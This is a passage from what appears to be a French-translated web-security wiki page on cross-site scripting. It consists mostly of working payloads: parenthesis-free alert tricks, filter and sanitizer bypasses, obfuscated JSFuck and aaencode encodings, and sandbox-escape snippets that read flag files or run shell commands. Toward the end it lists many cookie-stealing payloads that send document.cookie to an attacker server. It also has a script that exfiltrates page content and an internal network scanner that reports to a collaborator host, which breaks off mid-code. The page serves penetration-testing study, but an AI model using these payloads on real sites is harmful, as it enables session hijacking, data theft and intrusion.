Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Appel de fonction arbitraire (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Il y a du JS code qui utilise des données non sécurisées contrôlées par un attaquant comme location.href. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
En raison de l’extension de l’explication de DOM vulnerabilities it was moved to this page** :**
Là vous trouverez une explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter.
Aussi, n’oubliez pas qu’à la fin du post mentionné vous pouvez trouver une explication sur DOM Clobbering attacks.
Amélioration de Self-XSS
Cookie XSS
Si vous pouvez déclencher une XSS en envoyant le payload dans un cookie, c’est généralement un self-XSS. Cependant, si vous trouvez un vulnerable subdomain to XSS, vous pourriez abuser de cette XSS pour injecter un cookie sur tout le domaine et réussir à déclencher le cookie XSS sur le domaine principal ou d’autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela vous pouvez utiliser the cookie tossing attack:
Vous pouvez trouver un bel abus de cette technique dans this blog post.
Sending your session to the admin
Peut-être qu’un user peut partager son profil avec l’admin et si le self XSS est dans le profil de l’user et que l’admin y accède, il déclenchera la vulnérabilité.
Session Mirroring
Si vous trouvez un self XSS et que la page web dispose d’un session mirroring for administrators, par exemple permettant aux clients de demander de l’aide et, afin que l’admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.
Vous pourriez faire en sorte que l’administrator déclenche votre self XSS et voler ses cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Vous pouvez vérifier si les reflected values sont unicode normalized sur le serveur (ou côté client) et abuser de cette fonctionnalité pour bypasser des protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
En raison de RoR mass assignment, des guillemets sont insérés dans le HTML, ce qui permet de contourner la restriction des guillemets et d’ajouter des champs supplémentaires (onfocus) à l’intérieur de la balise.
Exemple de formulaire (from this report), si vous envoyez le payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La paire “Key”,“Value” sera renvoyée comme ceci :
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Ensuite, l’attribut onfocus sera inséré et XSS se produira.
Combinaisons spéciales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Si vous découvrez que vous pouvez inject headers in a 302 Redirect response vous pouvez essayer de faire exécuter du JavaScript arbitraire par le navigateur. Ce n’est pas trivial : les navigateurs modernes n’interprètent pas le corps de la réponse HTTP si le code de statut HTTP est un 302, donc un simple cross-site scripting payload est inutile.
Dans ce rapport et celui-ci vous pouvez lire comment tester plusieurs protocoles à l’intérieur du Location header et vérifier si l’un d’eux permet au navigateur d’inspecter et d’exécuter le XSS payload contenu dans le body.
Protocoles connus : mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
Si vous pouvez indiquer le callback que javascript va exécuter, limité à ces caractères. Lisez cette section de ce post pour découvrir comment abuser de ce comportement.
Valid <script> Content-Types to XSS
(D’après ici) Si vous essayez de charger un script avec un content-type tel que application/octet-stream, Chrome renverra l’erreur suivante :
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Les seuls Content-Types qui permettront à Chrome d’exécuter un loaded script sont ceux définis dans la const kSupportedJavascriptTypes de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Types de script pour XSS
(From here) Alors, quels types pourraient être indiqués pour charger un script ?
<script type="???"></script>
La réponse est :
- module (par défaut, rien à expliquer)
- webbundle: Web Bundles est une fonctionnalité qui permet d’empaqueter un ensemble de données (HTML, CSS, JS…) dans un fichier
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permet d’améliorer la syntaxe d’importation
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ce comportement a été utilisé dans this writeup pour remapper une bibliothèque vers eval ; en l’abusant, cela peut déclencher XSS.
- speculationrules: Cette fonctionnalité sert principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne ainsi :
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Content-Types Web conduisant à XSS
(Depuis here) Les content-types suivants peuvent exécuter du XSS dans tous les navigateurs :
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? pas dans la liste mais je pense l’avoir vu dans un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Dans d’autres navigateurs, d’autres Content-Types peuvent être utilisés pour exécuter du JS arbitraire, voir : https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Type de contenu xml
Si la page renvoie un content-type text/xml, il est possible d’indiquer un espace de noms et d’exécuter du JS arbitraire :
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modèles de remplacement spéciaux
Quand quelque chose comme "some {{template}} data".replace("{{template}}", <user_input>) est utilisé, un attaquant peut utiliser special string replacements pour tenter de contourner certaines protections : "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Par exemple dans this writeup, cela a été utilisé pour échapper une chaîne JSON à l’intérieur d’un script et exécuter du code arbitraire.
Chrome Cache to XSS
XS Jails Escape
Si vous avez seulement un ensemble limité de caractères à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si everything is undefined avant d’exécuter du code non fiable (comme dans this writeup), il est possible de générer des objets utiles « à partir de rien » pour abuser de l’exécution de code arbitraire non fiable :
- En utilisant import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accéder à
requireindirectement
According to this les modules sont enveloppés par Node.js dans une fonction, comme ceci :
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Par conséquent, si depuis ce module nous pouvons appeler une autre fonction, il est possible d’utiliser arguments.callee.caller.arguments[1] depuis cette fonction pour accéder à require :
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De la même manière que dans l’exemple précédent, il est possible d’use error handlers pour accéder au wrapper du module et obtenir la fonction require :
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Different obfuscations in one page: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck plus sophistiqué : https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS payloads courants
Plusieurs payloads en 1
Piège Iframe
Forcer l’utilisateur à naviguer dans la page sans quitter un iframe et voler ses actions (y compris les informations envoyées dans les formulaires) :
Récupérer les Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Vous ne pourrez pas accéder aux cookies depuis JavaScript si le HTTPOnly flag est défini dans le cookie. Mais ici vous avez some ways to bypass this protection si vous avez la chance.
Voler le contenu de la page
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trouver les IP internes
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
